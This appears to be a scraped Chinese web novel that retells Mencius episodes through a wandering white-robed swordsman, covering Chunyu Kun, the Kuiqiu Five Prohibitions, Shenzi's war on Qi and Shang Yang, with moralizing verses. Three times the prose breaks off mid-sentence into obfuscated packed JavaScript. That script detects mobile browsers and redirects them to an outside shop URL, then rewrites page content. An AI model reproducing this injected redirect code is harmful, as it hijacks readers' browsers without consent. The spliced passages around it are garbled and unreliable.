淳于髡怔然。白衣人道:“见否?民感其化,是仁之形;却馈辞金,是清之节。孟子兼伯夷之清、伊尹之任、柳下惠之和。今去齐,清也;昔就齐,任也;不斥齐王,和也。三子之道,萃于一身。先生犹以名实绳之乎?” 淳于髡大惭,疾趋追车,长揖道:“髡浅陋,不识君子。愿闻教。” 孟子停车:“先生何前倨而后恭?” “前以名实观仁,如以斗量海;今以仁观名实,方知海阔。”淳于髡汗颜,“然髡犹疑:仁者多途,然终需有益于世。若皆如夫子托微罪而去,天下谁匡?” 孟子正色:“仁者如水,因地制流。可清可浊?不可,清者自清。可方可圆?可也,随器而形。我在齐,如清水入污渠,虽洁其身,难涤其浊。故去而待时,非弃世也。” 淳于髡拜服。白衣人在侧,拊掌而歌: “伯夷清兮伊尹任, 柳下惠和不同音。 孟子兼之三子道, 去就无非一片心。 名实未加何足论, 燔肉不至见精深。 寄语世间观人者, 莫将尺蠖测鲸吟。” 歌罢,飘然而去。淳于髡追喊:“高士留名!” 风中传来:“名者实之宾,但识仁心,何需问名?” 四、 仁途碑 孟子去后,淳于髡闭门思过,三月不出。出而作《仁途辨》,首言:“昔我以名实论仁,如瞽扪象。今知仁者多途,清、任、和皆可达。孟子去齐,是清;就齐,是任;不毁王,是和。三子之道备矣。” 又论孔子去鲁:“燔肉不至,微罪行也。君子不欲显君恶,故托小故。今人动辄彰君过以显己直,去圣人远矣。” 文成,传诵稷下。有策士讥:“淳于子为孟子张目,堕辩士气节。” 淳于髡坦然应:“辩在求真,非在求胜。我昔求胜,今求真。孟子之仁,是真仁;我之辩,是伪辩。拾真弃伪,是辩士之进,何言堕节?” 自此,淳于髡论学,必先问:“此是仁否?仁有几途?” 有门人问:“若遇暴君,当如伯夷清?伊尹任?柳下惠和?” 淳于髡答:“清者自洁,任者力匡,和者不污。然皆需存仁心。若无仁心,清是孤高,任是贪权,和是乡愿。孟子曰‘君子亦仁而已矣,何必同’,正是此意。” 门人又问:“然则功业不必论?” “功业如树,仁心如根。根深则叶茂,然有早花,有晚实,有经冬不凋,有一岁一枯。岂可因未见花实,便谓无根?” 闻者叹服。淳于髡晚年,于稷下学宫立“仁途碑”,刻伯夷、伊尹、柳下惠、孟子四子事。碑阴自跋: “髡少时,以名实绳天下,见叶不见根。 及遇孟子,方知仁者多途,清任和皆可达道。 名实者,叶也;仁心者,根也。 但得根深,何忧叶茂? 后之观人者,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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破解法:勿以己之仁,度人之仁;勿以己之道,责人之道 - 示例:淳于髡初以“名实”单绳孟子,是不知仁途万千 二、 微罪行 - 孔子以燔肉不至而行,不欲显君恶。君子微罪去,小人彰君过 - 惕世:多少人去职则大肆攻讦,以显己直?几人能如孔子、孟子,为君隐过? - 反思:所行所言,是为仁,还是为名? 三、 名实之辨 - 名实如叶,仁心如根。但得根深,何忧叶茂 - 深层隐喻:事功易见,仁心难察。观人当观心,勿观迹 - 终极指向:仁为根本,途可万千;但守仁心,何问名实 仁途偈: 淳于髡问名实功,孟子譬喻三子同。 伯夷清高伊尹任,柳下惠和皆仁衷。 去就何须问迹异,行藏但看心所宗。 至今残碑风雨夜,犹说仁途万千通。 后世叹: 战国稷下辩士哗,淳于髡问名实加。 孟子举出三子道,仁心一贯路途赊。 清任和异皆可达,燔肉微罪是保瑕。 寄语世间论人者,莫将尺牍量海涯。 正是: 伯夷伊尹柳下惠,三子不同道则同。 孟子兼之仁为本,去就岂在名实中? 微罪而行是忠厚,燔肉不至见深衷。 寄语论人观世者,莫将一途测无穷。 52. 五禁谳 楔子会盟台 周室既微,诸侯力征。晋楚争霸,会于孟津。楚使屈完骄矜,指会盟台曰:“此台昔葵丘之会,齐桓公束牲载书,称霸天下。今我楚亦当如是!” 晋使赵盾冷笑:“桓公盟曰‘无曲防,无遏籴’,今楚塞三江,绝陈蔡粮道,岂非犯五禁?” 屈完语塞。忽有白衣人拊掌登台,斗笠面纱,木剑负背,朗声笑:“二公但知葵丘,可知葵丘之盟,今皆为虚文?” 众愕然。白衣人指台下诸侯:“今之诸侯,皆五霸罪人也;今之大夫,又诸侯罪人也。此台不配会盟,当名‘罪台’!” 楚将怒抽剑,白衣人木剑一横,金石交鸣,楚将虎口迸裂。满场皆惊。 一、 巡狩谳 是夜,白衣人宿于野店。店主老叟叹:“客官日间言‘罪台’,老朽闻之,如雷贯耳。然则五霸真三王罪人乎?” 白衣人问:“叟可知三王巡狩述职之制?” “略闻。天子适诸侯曰巡狩,春省耕补不足,秋省敛助不给。” “然也。”白衣人斟酒,“三王时,诸侯治境佳,则庆以地;治境劣,则让以责。一不朝贬爵,再不朝削地,三不朝六师移之。是故天子讨而不伐——讨者,正其罪也;诸侯伐而不讨——伐者,征不朝也。此三代纲纪。” 老叟恍然:“今之天子不能巡狩,诸侯不朝述职,纲纪废矣。” “五霸出,更坏纲纪。”白衣人掷杯,“五霸者,搂诸侯以伐诸侯——挟天子令诸侯,假仁义行征伐。桓公葵丘之会,束牲载书不歃血,似尊王,实僭越。故孟子曰:五霸者,三王之罪人也。” 邻桌有游侠拍案:“然桓公九合诸侯,一匡天下,岂无功?” 白衣人反问:“盗魁聚盗,约‘勿杀老弱’,是功是罪?” 游侠语塞。白衣人续道:“桓公约五禁:诛不孝、尊贤才、敬老幼、士无世官、无曲防遏籴。此本三代常法,桓公以盟主身份重提,是代行天子权,已为罪一;今之诸侯,连此五禁皆犯,是罪上加罪,故曰诸侯乃五霸罪人。” 忽有数骑闯店,乃日间楚将,引甲士围店:“狂徒谤政,拿下!” 二、 五禁谳 白衣人泰然自饮:“将军可知葵丘五禁?” 楚将喝:“与我何干!” “第一禁:诛不孝。”白衣人抬眼,“楚王囚母于章华台,是不孝。将军从之,是助不孝。” 楚将色变。白衣人续道:“第二禁:尊贤育才。楚杀伍奢,逐伍员,是戮贤。第三禁:敬老慈幼。楚伐随,坑杀耄老,是虐老。第四禁:士无世官。楚令尹、司马皆王室子弟,是世官。第五禁:无曲防,无遏籴。楚塞汉水,绝郑粮,是曲防遏籴。” 句句如刀,楚将汗下。甲士中有人低语:“句句属实…” 白衣人起身:“今之诸侯,皆犯五禁,是五霸罪人。将军为虎作伥,是罪人之罪人。尚欲拿我?” 楚将拔剑,手颤不能举。白衣人掷一简于地:“此乃五禁全文,归示楚王。若有一禁不犯,我自缚请罪。” 言罢,掷金于案,飘然而出。甲士竟无人敢拦。 三日后,楚营哗变。有士卒持那简传阅,见“无曲防,无遏籴”句,泣曰:“我家乡在陈,因楚遏籴,父母皆饿死…”一夜散去数百人。 白衣人闻之,叹:“五禁不存,人心自散。此非我言重,是桓公盟誓时,已种今日之因。” 时晋使赵盾暗访,邀白衣人帐中叙。赵盾问:“先生言诸侯皆五霸罪人,然我晋国,可有一禁不犯?” 白衣人直视:“晋灵公弹人取乐,是不慈幼,犯第三禁;晋世卿专权,六卿世袭,犯第四禁;晋绝秦籴,犯第五禁。三禁已犯,何言无犯?” 赵盾汗颜:“然…然则大夫如何?” “长君之恶罪小,逢君之恶罪大。”白衣人冷笑,“今之大夫,逢君之恶——君欲战,则献策;君欲敛,则搜刮。是助纣为虐,故曰大夫乃诸侯罪人。赵公执政,可曾谏灵公止恶?抑或逢其恶以固位?” 赵盾跌坐,面如死灰。 三、 罪人链 白衣人出晋营,遇流民载道。有老者饿毙于途,幼子哀泣。白衣人解囊施粥,问:“何故流亡?” 一壮汉泣:“本国大夫逢君之恶,加征军赋,又遏籴邻国,粮价腾贵,只得逃亡。” “此正犯五禁中‘无遏籴’。”白衣人叹,“五霸时尚且盟誓禁止,今之诸侯公然犯之,是罪加一等。” 遂于道旁开讲,说“罪人链”: “三王立纲,天子巡狩,诸侯述职,是上下相维。 五霸坏纲,搂诸侯伐诸侯,是下僭上。 今诸侯犯五禁,是僭上欺下。 今大夫逢君恶,是欺下虐民。 此谓:三王之罪在五霸,五霸之罪在诸侯,诸侯之罪在大夫。层层相罪,至于庶民,无可罪者,唯受其殃。” 流民中有识字者,记其言,作《罪人链谣》传唱: “三王纲纪五霸摧, 五霸盟誓诸侯违。 诸侯暴虐大夫助, 大夫逢恶民何归? 层层相罪链不断, 最是无辜是布衣!” 此谣传至郢都,楚王怒,命捕“白衣妖人”。捕快至野店,店主老叟指北方:“客官往晋去了。” 捕快追至晋边,见白衣人正为流民分粮。捕头喝:“妖言惑众,拿下!” 白衣人不慌,问:“我言可有一句不实?” 捕头噎住。白衣人指流民:“此皆楚民,因楚遏籴,逃亡至此。可是实?” “是实,然…” “楚遏籴,犯葵丘第五禁。可是实?” “是实,然…” “楚为诸侯,犯五禁,是五霸罪人。可是实?” 捕头汗出。白衣人再问:“尔等捕我,是奉君命。若君命不仁,尔等是从?是长君之恶,罪小;逢君之恶,罪大。尔等欲为罪人耶?” 众捕快面面相觑,竟弃刀跪地:“吾等本农户,因饥荒为吏…实不愿为罪人!” 白衣人扶起:“但记:三代之制,春省耕补不足,秋省敛助不给。尔等为吏,当劝君行此,莫逢恶虐民。” 众泣拜而去。是夜,郢都十余名小吏挂冠,留书曰:“不为罪人吏。” 四、 罪台诤 楚晋会盟终散,唯留空台。白衣人独登台,仰观星月。忽有数人潜至,乃日间流民中识字者,名韩仇,率众拜曰:“先生之言,醒我愚蒙。然罪链如此,民何以堪?” 白衣人问:“尔等欲反乎?” “不敢,但求生路。” “生路在复三代遗意。”白衣人指台下,“三王时,天子巡狩,省耕补不足。今虽无天子,尔等可自治——春耕相帮,秋收相济。诸侯遏籴,则乡里互籴;大夫横征,则守望相助。但得民间自存三王遗风,罪链可断于下。” 韩仇恍然:“是矣!上虽罪,下可仁。我等待死,不如自救。” 遂聚流民,立“相济约”:春耕助孤寡,秋敛分余粮,禁遏籴,禁曲防,禁虐老,禁戮贤。俨然一小葵丘之盟。 三月后,韩仇来报:“我乡已安,邻乡效之,今十乡皆行相济约。” 白衣人笑:“此即‘讨而不伐’。尔等自治,是讨己之罪;不行征伐,是守己之仁。虽不及三代,可续遗风。” 忽有车马至,乃晋使赵盾,楚使屈完同来。二人揖:“先生之言,我等归告国君,皆有悔意。今楚开遏籴,晋释世官,愿重修葵丘之约。” 白衣人摇头:“葵丘之约,本僭越之盟。当复者,非葵丘,乃三代巡狩述职之制。然今天子微弱,不可强求。但守五禁,民可少安。” 赵盾问:“然则大夫逢君之恶,何以戒之?” “在士风。”白衣人正色,“士为大夫之源。若士人皆以逢恶为耻,大夫自清。今为士者,当学三代‘俊杰在位’之德,莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088204|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学今之‘掊克在位’之鄙。” 屈完问:“何以辨俊杰掊克?” “俊杰在朝,则土地辟,田野治,养老尊贤;掊克在位,则土地荒芜,遗老失贤。但观民间疾苦,便知朝堂清浊。” 二人拜服,归国后,赵盾作“去逢恶令”,屈完作“开遏籴书”,虽不能尽革,风气稍转。 白衣人临行,韩仇率众送别,问:“先生,此台可还名会盟台?” “可名‘醒罪台’。”白衣人掷剑刻石: “三王纲纪五霸摧, 诸侯犯禁大夫随。 层层相罪链不断, 唯有醒者能自归。 莫羡葵丘空盟誓, 但学三代省耕为。 若得民间存仁政, 何需台上会雄师?” 刻毕,踏风而去。流民聚台下,岁岁祭祀,称“醒台”。 尾声醒台月 十年后,韩仇为乡三老,仍行“相济约”。时有少年问:“葵丘五禁,今有用否?” 韩仇指醒台碑:“五禁有用,然需人守。昔桓公束牲载书,终成空文。今我乡民,无牲无书,但以心守,反能践行。可知法在人心,非在盟誓。” 又十年,诸侯混战,醒台毁于兵火。然乡民夜聚台基,老幼相携,分粮济困。有逃难者过,问:“此是何制?” 答:“三代遗风,春省耕补不足,秋省敛助不给。” “何人所教?” “昔有白衣客,言此非他所教,乃三代旧制,本该如此。” 是夜,月明如洗,白衣人影时现台基,听乡民歌: “春耕助孤寡,秋收分余粮。 无曲防,无遏籴,无忘宾旅客。 虽无天子巡狩礼, 自有乡邻相济肠。 醒台虽毁风骨在, 三代遗意民间藏。” 歌罢,人影抚碑残石,轻叹: “五霸罪,诸侯罪,大夫罪,罪罪相因。 天不巡,地不朝,纲不存,唯民苦。 幸有醒者, 断此罪链于泥涂。” 叹声散入夜风,台畔野菊,岁岁金黄。 似在说: 罪啊,罪啊。 醒者无罪。 本章诫世 一、 罪人相因 - 五霸者,三王之罪人;今之诸侯,五霸之罪人;今之大夫,诸侯之罪人 - 破解法:居上位当思是否僭越,居下位当思是否逢恶 - 示例:桓公僭天子权,是罪;诸侯犯五禁,罪上加罪;大夫逢君恶,罪之又罪 二、 五禁之鉴 - 葵丘五禁,本三代常法,今皆犯之 - 惕世:今之“诛不孝、尊贤、敬老、选贤、通商”诸事,是真心行仁,还是口号标榜? - 反思:可曾“曲防”“遏籴”“逢恶”而不自知? 三、 民间自救 - 上无道,下可自存遗风。春耕相帮,秋收相济,即三代遗意 - 深层隐喻:真正的纲纪在民心,不在盟誓 - 终极指向:罪链可断于民间醒者 罪链偈: 三王纲纪五霸摧,葵丘空盟已堪悲。 诸侯犯禁如破竹,大夫逢恶更添危。 层层相罪成链锁,唯有醒者能解围。 至今醒台残月下,犹闻流民说昔非。 后世叹: 周室衰微纲纪颓,五霸僭越诸侯随。 葵丘盟誓成虚文,今日犯禁更有谁? 大夫逢恶长君过,层层相罪民何归? 唯有民间存古意,春省秋敛续余辉。 正是: 五霸原是三王罪,诸侯犯禁罪更深。 大夫逢恶助君虐,层层相罪至于今。 葵丘盟誓成虚设,三代遗风何处寻? 但得民间醒者在,不须台上会盟心。 53. 教兵谳 楔子南阳策 鲁国边城,烽火方息。将军慎子(滑釐)大破齐师,夺南阳之地,凯歌高奏。鲁君大悦,欲使慎子为上将,整军伐齐,尽收失地。 是日庆功宴,慎子金甲未解,傲然谓众将:“南阳已复,当乘胜进击,夺齐西境!” 忽有一人排众而出,白衣斗笠,面纱遮颜,木剑负背,拊掌而笑:“将军一战得南阳,便要教民赴死,此所谓‘殃民’也。” 满堂哗然。慎子按剑而起:“足下何人?敢乱我军心!” “过路客,闻殃民之策,特来一观。”白衣人环视众将,“不教民而用之,谓之殃民。殃民者,不容于尧舜之世。将军可闻此言?” 慎子冷笑:“此孟子迂论!今战国之世,强者存,弱者亡。不战何以强国?” “强国有道,岂在杀人?”白衣人直视慎子,“一战胜齐,遂有南阳,然且不可——此孟子告将军之言,将军犹未悟乎?” 慎子勃然色变——月前孟子确曾以此言相谏,彼时慎子斥为“不识时务”。今被白衣人当众道破,恼羞成怒:“此则滑釐所不识也!足下欲效孟子,以空言阻我大业?” 白衣人却转身问众士卒:“尔等家中尚有父母妻儿否?” 士卒皆怔,有人低应:“有…” “南阳之地,可代尔等父母否?” “不可…” “可代尔等妻儿否?” “不可…” 白衣人回视慎子:“将军欲驱不可代父母妻儿之民,以争可代之城地,是爱地,是爱人?” 慎子语塞。满堂寂然,唯闻火把噼啪。 一、 百里谳 翌日,校场点兵。慎子欲示威,集三军,召白衣人至将台,高声道:“昨日狂徒言我殃民,今当众论之!若理屈,军法从事!” 白衣人泰然登台,问三军:“众将士,可知鲁国始封之地几何?” 有老卒答:“闻说方百里。” “是矣。”白衣人扬声道,“周公封鲁,方百里;太公封齐,亦方百里。非地不足,而俭于百里。何以俭?圣人制礼,天子千里,诸侯百里,所以明分止争也。今鲁地已有五个百里,齐地更广。若王者作,当削鲁乎?当益鲁乎?” 众皆茫然。白衣人续道:“必削之!何也?逾制当削。今鲁夺南阳,是徒取诸彼以与此。仁者尚且不为,况杀人以求之?” 慎子怒喝:“此战国之世,岂拘古制!” “将军差矣。”白衣人声震校场,“古制非为拘泥,是为止杀。昔日百里之封,足以守宗庙典籍,养民礼贤。今扩地千里,而民疲兵困,宗庙典籍可守否?贤才可育否?老者可养否?” 一裨将低声:“确是…我军连年征战,乡里田园荒芜…” 白衣人耳敏,立问:“此将军言田园荒芜,可知何故?因壮者皆征,老者失养,幼者失教。此之谓不教民而用之——不教以耕,不教以礼,不教以义,但教以杀。纵得南阳,不过多几处荒田,多几座孤坟!” 三军骚动。慎子拔剑:“妖言惑众,斩!” 白衣人木剑一横,架住剑锋:“将军杀我易,止三军之疑难。我且问:鲁今有地五个百里,是鲁君之福,还是鲁民之福?” 不待答,自解:“若是民福,当仓廪实,教化兴。今仓廪实否?军粮尚借于卫。教化兴否?乡校十室九空。此乃夺民福以奉君欲,将军为虎作伥,尚不自知?” 慎子剑颤,竟不能进。白衣人收剑,对三军拱手:“诸君皆鲁民子弟。今为将者欲驱尔等复战,非为鲁民,是为功名。昔孟子言‘君子事君,务引君以当道,志于仁而已’。今慎子逢君之恶,是殃民之臣,非仁者之徒!” 语罢,飘然下台。三军目送,无人敢拦。 是夜,营中逃卒三百。慎子怒,令捕白衣人,遍寻不得。 二、 教民谳 白衣人现身南阳城外难民棚。此地新附,齐民未安,鲁民亦苦。有老妪煮粥施众,白衣人助之,问:“阿婆,南阳归鲁,可喜否?” 妪泣:“喜?我儿战死于此,得地失子,何喜之有?” 旁有弃儿啼哭,父母皆殁于战火。白衣人抱儿,叹:“此即不教民而用之。民未教以生,先教以死。” 忽有数骑至,乃南阳乡老,闻白衣人日间校场语,特来请教。为首者问:“先生言‘不教民而用之谓殃民’,然则当如何教民?” 白衣人指难民棚:“教民以生,非教民以死。今南阳初定,当教民垦荒,教民织耕,教民礼让。若驱之复战,是已伤之,复伤之,殃之又殃。” 乡老叹:“然慎子将军欲再战…” “是故需有仁者,引君当道。”白衣人道,“昔周公治鲁,制礼作乐,教民以德,故鲁虽百里,而为礼仪之邦。今鲁地五百里,而礼崩乐坏,何也?不教也。” 遂与乡老计议,于南阳设“教民所”:老者教耕织,壮者习武备,幼者学诗书。白衣人题匾:“不教民,毋用民。” 旬日间,流民稍安。忽有快马传令:慎子将军至,查“妖人惑众”。 慎子率兵围教民所,见白衣人正教童子诵《诗》,怒极反笑:“足下在此收买人心耶?” “非收买,是偿还。”白衣人安坐,“将军驱民战,民伤。我教民生,民安。将军以为孰是?” 慎子环视,见棚中老弱皆怒目而视,士卒亦有愧色,心知不可强为,乃道:“鲁欲强盛,不得不战!” “强盛有道。”白衣人起身,“昔文王百里而王,是教民以德。今鲁五百里而弱,是不教民以德。将军若真忠鲁,当劝君罢兵,修德教民。民教而后用,以一当十。不教而用,虽十万亦溃。” 有士卒忍不住泣:“将军!我弟年十六,未教而征,初战即殁…若教之三月,或可不死…” 一石激起千层浪,三军皆泣。慎子面色铁青,忽有鲁君使者至,宣:“君上有令:慎子将军即日班师,南阳择良吏治之,休兵养民。” 众愕然。使者低语:“有客夜谒君上,呈《教民策》,君上悟矣。” 慎子瞪视白衣人:“又是汝!” “非我,是民心。”白衣人遥指鲁都,“君上闻三军欲溃,方知殃民不可为。将军若明智,当学君子事君之道——务引君以当道,志于仁而已。” 慎子默然良久,忽掷剑于地:“滑釐…错矣!” 三、 当道谳 鲁君罢兵,慎子自请贬为南阳守,行教民之政。白衣人将行,慎子问:“先生,滑釐当如何引君当道?” “君如舟,臣如舵。”白衣人道,“昔周公、太公封百里,是制礼以防滥。今鲁地五百里,君欲千里,是舟欲入狂涛。为臣者当转舵归港,非鼓帆助澜。将军前日鼓帆,是殃民;今日转舵,是教民。仁与不仁,于此分矣。” 慎子再拜:“愿闻仁政之要。” “仁政在教,不在战。”白衣人详述,“一教耕织,使民饱暖;二教礼义,使民知耻;三教忠孝,使民和睦。民教三年,仓廪实而知礼节,然后可御外侮。今将军不教而战,是驱羊入虎,虽得地,失民心,终非长久。” 忽有齐使至,言齐侯闻鲁教民,愿释战俘,通商互市。慎子喜:“此先生之化耶?” “此民心之化。”白衣人道,“齐见鲁教民,知鲁将强,故先和。若鲁殃民,齐必趁虚。是故教民非但安内,亦可攘外。” 南阳遂行教民之政:老兵教新兵,老农教流民,士人教童子。三年,仓廪实,街巷闻诵诗声。 慎子感佩,于南阳立“教民碑”,刻孟子“不教民而用之,谓之殃民”全章。又附自罪文: “滑釐昔为将,不教民而战,殃民深矣。 幸遇高士,闻孟子之教,乃知仁者当引君以当道。 今守南阳,教民耕战,民安而境固。 乃知教民之利,胜征战十倍。 后世为将者,当以为鉴。” 碑成,白衣人观之,题诗于侧: “百里封疆古制淳, 何需喋血扩疆垠? 不教而用真殃民, 能教能安自富民。 君子事君当引道, 将军守土贵存仁。 南阳今日闻弦诵, 可慰沙场战死魂。” 题罢,白衣人去。慎子追送,问:“先生,若他日君上复欲征伐,滑釐当如何?” “昔孟子告子:徒取诸彼以与此, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088205|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仁者不为,况杀人以求之?但记此言,可保鲁民。” 慎子长揖及地。白衣人踏歌而行: “鲁欲使慎为将军, 孟子直言殃民论。 百里旧制何须越, 杀人扩地岂是仁? 君子引君当正道, 志在安民不在勋。 南阳碑下听弦诵, 方知教民事君真。” 四、 弦诵声 十年后,鲁君薨,新君继位,欲伐邾。时慎子已老,为太傅,持教民碑拓本进谏:“昔臣不教民而战,几危社稷。今君上新立,当教民修德,不可轻战。” 新君问:“若邾来犯?” “民教三年,可御外侮。不教而战,十战九败。” 新君从之,行教民之政。鲁渐强,邾不敢犯。有客自齐来,见鲁乡校林立,童叟皆诵诗书,叹:“此仁政之化也。” 问乡老:“昔慎子将军主战,何以改弦?” 乡老指教民碑:“慎将军遇高士,闻孟子教,幡然悔悟。今鲁民皆诵‘不教民而用之,谓之殃民’,童子能解。” 有少年问:“若他国来伐,我不战,非懦乎?” 乡老答:“孟子曰:君子事君,务引其君以当道,志于仁而已。仁者非不战,是不殃民而战。民教而后战,是保家卫国;不教而战,是驱民送死。汝愿为何?” 少年恍然。自此,“教民而战”成鲁国祖训。 又二十年,天下名士过南阳,见碑下童子嬉戏,问:“尔等学战否?” 童答:“学耕、学礼、学诗,亦学御射。先生云:教全而后用,是仁;不教而用,是殃。” 名士叹:“鲁虽小,有此教化,可长久矣。” 是夜,白衣人影复现碑下,闻书声琅琅: “不教民而用之,谓之殃民…” “殃民者,不容于尧舜之世…” “君子之事君也,务引其君以当道…” 白衣人抚碑微笑,剑尖轻点,刻数字于碑阴: “教民在仁, 用民在义。 仁至义尽, 虽百里可王。 仁亏义缺, 虽千里必亡。 慎子能悔, 鲁之幸也。 后世为将者, 可不鉴诸?” 刻毕,踏月归去。南阳城外,麦浪千顷,书声与蛙声相和。 似在说: 教啊,用啊。 仁在教,义在用。 本章诫世 一、 教民为先 - 不教民而用之,谓之殃民。殃民者,不容于尧舜之世 - 破解法:欲用人,先教人;欲用民,先教民 - 示例:慎子初欲不教而战,是殃民;后教民耕战,是仁政 二、 百里之制 - 天子千里,诸侯百里,所以明分止争。今逾制拓土,杀人求地,仁者不为 - 惕世:多少“大业”是驱不教之民,以遂一人之欲?多少“功勋”是白骨铺就? - 反思:所为之事,是教民,是用民,还是殃民? 三、 引君当道 - 君子之事君也,务引其君以当道,志于仁而已 - 深层隐喻:为臣者当为舵手,引舟避狂涛,非鼓帆助澜 - 终极指向:仁为根本,教为途径,用为节制 教民偈: 慎子为将欲战攻,孟子直言殃民凶。 不教而用是虐政,能教能用方为公。 百里旧制何须越,君子引君当道中。 南阳碑下弦诵起,方知仁政胜兵戎。 后世叹: 鲁欲使慎为将才,孟子论政醒愚衷。 不教民而用是殃,能教民用乃为功。 百里封疆古制在,杀人拓地岂仁风? 但得君臣皆志道,何须喋血逞英雄。 正是: 慎子为将欲启兵,孟子直言殃民情。 不教而用是苛政,能教能用乃仁声。 百里封疆古制在,杀人拓地岂可行? 君子事君当引道,至今南阳诵教诚。 54. 民贼谳 楔子富桀会 魏都大梁,有“富国论战”,诸国策士云集。台上公孙鞅高谈:“吾能使秦富,十年而强!”台下苏秦应和:“吾能约六国,制衡天下!” 掌声雷动。忽闻一角有冷笑声:“今之所谓良臣,古之所谓民贼也。” 众哗然,见一白衣人倚柱而立,斗笠面纱,木剑负背,手中把玩着一枚铜钱。 公孙鞅怒视:“足下何人,敢辱群贤?” 白衣人踱至台前,示铜钱于众:“此物,可富民否?” “自然!”公孙鞅傲然,“商贾流通,府库充盈,皆赖此物。” “然则桀有鹿台之财,纣有钜桥之粟,富否?” “富…” “亡否?” 公孙鞅语塞。白衣人扬声道:“今之事君者皆曰:‘我能为君辟土地,充府库。’此非良臣,是民贼也!君不向道,不志于仁,而求富之,是富桀也!” 苏秦拍案:“荒谬!富国强兵,乃臣子本分!” “本分?”白衣人直视苏秦,“‘我能为君约与国,战必克’——此亦民贼也!君不向道,不志于仁,而求为之强战,是辅桀也。诸公所为,是助君为桀纣,非导君为尧舜。” 满场死寂。有韩使颤声:“然…然则何以事君?” “事君当引君向道,志于仁。”白衣人掷铜钱于地,铿然有声,“由今之道,无变今之俗,虽与之天下,不能一朝居也!” 言罢,拂袖而去。众策士面面相觑,公孙鞅面色铁青。 一、 富桀谳 是夜,魏相惠施私邸,公孙鞅、苏秦与诸国策士密议。公孙鞅咬牙:“那白衣狂徒,坏我论战,当除之!” 苏秦捻须:“其言虽狂,然‘富桀’之论,恐动君心…” 忽闻庭中有人朗笑:“诸公在此,是议富桀,还是议除我?” 白衣人竟坐于庭树,月下身影飘渺。 惠施惊起:“壮士…何不入座一叙?” 白衣人飘然下树,径自取酒:“相国可知,今魏国府库,较十年前盈虚若何?” 惠施傲然:“增三倍有余。” “民田增否?” “这…” “民舍增否?” “…” “民有菜色,相国见否?” 惠施汗出。白衣人续道:“相国富国,是富民耶?富君耶?若富君而贫民,是聚民脂以奉君欲,与桀敛财何异?此所谓富桀也!” 公孙鞅驳道:“非常之时,行非常之法。秦用我策,国富兵强…” “然后?”白衣人截道,“秦民劓鼻盈城,刖足塞路,渭水尽赤。此富耶?强耶?是积怨也!君不向道,不志于仁,而求富之强之,譬如肥病夫,肉愈丰,毒愈深。一旦溃烂,不可收拾。” 苏秦冷笑:“足下但知空谈仁义,岂知战国之势,不富不强,必为所灭!” “是矣。”白衣人忽转平静,“诸公皆言‘不得不为’。然孟子有喻:有人饮鸩止渴,初时解渴,终必死。今诸公献富国强兵之策,是解君之渴,实喂君之鸩。君死,国亡,民殃。诸公是忠臣耶?民贼耶?” 满座寂然。白衣人自斟自饮,叹道:“诸公皆一时俊杰,惜乎不务引君向道,但务逢君之恶。他日史笔如铁,书‘某助桀为虐’,可甘心否?” 惠施颓然坐倒:“然则…魏当如何?” “罢聚敛,省征伐,劝君向仁。”白衣人正色,“君若向道,府库虽虚,民心得矣;君若向仁,兵甲虽钝,天下归矣。今诸公但教君如何取天下,不教君如何得民心。纵取天下,能守几时?” 语罢,掷杯于案,杯立不倾:“此杯不倾,因中有酒;君位不倾,因中有民。诸公但注酒于杯,不问杯中为何物,可乎?” 飘然出庭。公孙鞅、苏秦相视,皆露惭色。 二、 辅桀谳 三日后,秦使邀白衣人至驿馆。馆中坐一黑袍客,面覆青铜面具,乃秦密使卫鞅(公孙鞅化名)。 卫鞅屏退左右,揖道:“先生前日‘富桀’之论,鞅三夜不寐。敢问:秦欲强,不行变法,当如何?” 白衣人反问:“君欲变何法?” “废井田,开阡陌;奖军功,抑贵族;行连坐,明法令…” “此皆求富求强之术。”白衣人摇头,“然秦君志在仁否?向道否?若不向仁,但求富强,是养虎为患。他日虎大伤人,首伤其主。” 卫鞅沉吟:“然则当先劝君向仁?” “然也。”白衣人正色,“昔伊尹五就汤,非为汤富,为汤仁。今君事秦,当先引君向道。道既明,仁既立,富强自来。若弃道而求富,是本末倒置,终为桀助。” 卫鞅忽摘面具,露真容,竟是公孙鞅:“先生,鞅在秦,如骑虎背。不行变法,秦弱;行变法,秦强而民怨。如之奈何?” “骑虎者,当导虎向善,非助虎为恶。”白衣人叹,“君今为虎添翼,教虎噬人。他日虎噬君,君将谁怨?” 公孙鞅泪下:“鞅…鞅亦知变法酷烈,然…” “然不得不为?”白衣人直视其目,“昔桀亦言‘不得不为’。纣亦言‘不得不为’。今君言‘不得不为’,是与桀纣同道。君自择:愿为伊尹,为周公,为管仲?抑或为桀纣之助?” 公孙鞅伏案痛哭。白衣人温言:“君能悔,未晚。秦法可缓,仁政可施。但得君心向仁,民怨可解。” 是夜,公孙鞅焚变法草稿十三卷,作《谏秦王仁政书》。然书未发,秦王急诏,命加速变法。公孙鞅仰天长叹:“吾真成民贼矣!” 